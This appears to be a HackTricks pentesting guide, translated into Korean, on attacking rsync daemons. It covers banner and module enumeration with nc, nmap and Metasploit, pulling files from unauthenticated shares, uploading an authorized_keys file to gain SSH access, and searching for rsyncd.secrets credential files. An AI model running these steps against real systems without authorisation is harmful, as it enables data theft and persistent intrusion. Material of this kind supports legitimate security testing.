873 - Pentesting Rsync

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

From wikipedia:

rsync๋Š” ์ปดํ“จํ„ฐ์™€ ์™ธ์žฅ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ ๊ฐ„ ๋ฐ ๋„คํŠธ์›Œํฌํ™”๋œ ์ปดํ“จํ„ฐ ๊ฐ„์— ํŒŒ์ผ์„ ํšจ์œจ์ ์œผ๋กœ ์ „์†กํ•˜๊ณ  ๋™๊ธฐํ™”ํ•˜๊ธฐ ์œ„ํ•œ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋กœ, ์ˆ˜์ • ์‹œ๊ฐ„๊ณผ ํŒŒ์ผ์˜ ํฌ๊ธฐ๋ฅผ ๋น„๊ตํ•˜์—ฌ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.[3] ์ผ๋ฐ˜์ ์œผ๋กœ ์œ ๋‹‰์Šค ๊ณ„์—ด ์šด์˜ ์ฒด์ œ์—์„œ ๋ฐœ๊ฒฌ๋ฉ๋‹ˆ๋‹ค. rsync ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ๋ธํƒ€ ์ธ์ฝ”๋”ฉ์˜ ์ผ์ข…์ด๋ฉฐ, ๋„คํŠธ์›Œํฌ ์‚ฌ์šฉ๋Ÿ‰์„ ์ตœ์†Œํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. Zlib๋Š” ์ถ”๊ฐ€์ ์ธ ๋ฐ์ดํ„ฐ ์••์ถ•์„ ์œ„ํ•ด ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ,[3] SSH ๋˜๋Š” stunnel์€ ๋ณด์•ˆ์„ ์œ„ํ•ด ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

์—ด๊ฑฐ

๋ฐฐ๋„ˆ ๋ฐ ์ˆ˜๋™ ํ†ต์‹ 

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

๊ณต์œ  ํด๋” ์—ด๊ฑฐํ•˜๊ธฐ

Rsync ๋ชจ๋“ˆ์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋ณดํ˜ธ๋  ์ˆ˜ ์žˆ๋Š” ๋””๋ ‰ํ† ๋ฆฌ ๊ณต์œ ๋กœ ์ธ์‹๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“ˆ์„ ์‹๋ณ„ํ•˜๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํ•„์š”ํ•œ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

์ผ๋ถ€ ๊ณต์œ ๊ฐ€ ๋ชฉ๋ก์— ๋‚˜ํƒ€๋‚˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ˆจ๊ฒจ์ ธ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ์ผ๋ถ€ ๊ณต์œ ์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์€ ํŠน์ • ์ž๊ฒฉ ์ฆ๋ช…์— ์ œํ•œ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” โ€œAccess Deniedโ€ ๋ฉ”์‹œ์ง€๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

Brute Force

์ˆ˜๋™ Rsync ์‚ฌ์šฉ

๋ชจ๋“ˆ ๋ชฉ๋ก์„ ์–ป์€ ํ›„, ์ž‘์—…์€ ์ธ์ฆ์ด ํ•„์š”ํ•œ์ง€ ์—ฌ๋ถ€์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. ์ธ์ฆ ์—†์ด ๋ชฉ๋ก์„ ์ž‘์„ฑํ•˜๊ณ  ๊ณต์œ  ํด๋”์—์„œ ๋กœ์ปฌ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๋Š” ๊ฒƒ์€ ๋‹ค์Œ์„ ํ†ตํ•ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

์ด ํ”„๋กœ์„ธ์Šค๋Š” ์žฌ๊ท€์ ์œผ๋กœ ํŒŒ์ผ์„ ์ „์†กํ•˜๋ฉฐ, ํŒŒ์ผ์˜ ์†์„ฑ๊ณผ ๊ถŒํ•œ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.

์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ณต์œ  ํด๋”์—์„œ ๋ชฉ๋ก์„ ์ž‘์„ฑํ•˜๊ณ  ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋•Œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ ํ”„๋กฌํ”„ํŠธ๊ฐ€ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

๋‚ด์šฉ์„ ์—…๋กœ๋“œํ•˜๋ ค๋ฉด, ์ ‘๊ทผ์„ ์œ„ํ•œ authorized_keys ํŒŒ์ผ๊ณผ ๊ฐ™์€ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜์„ธ์š”:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์ฐพ์œผ๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์‹ญ์‹œ์˜ค:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

์ด ํŒŒ์ผ ๋‚ด์—์„œ secrets file ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” rsyncd ์ธ์ฆ์„ ์œ„ํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ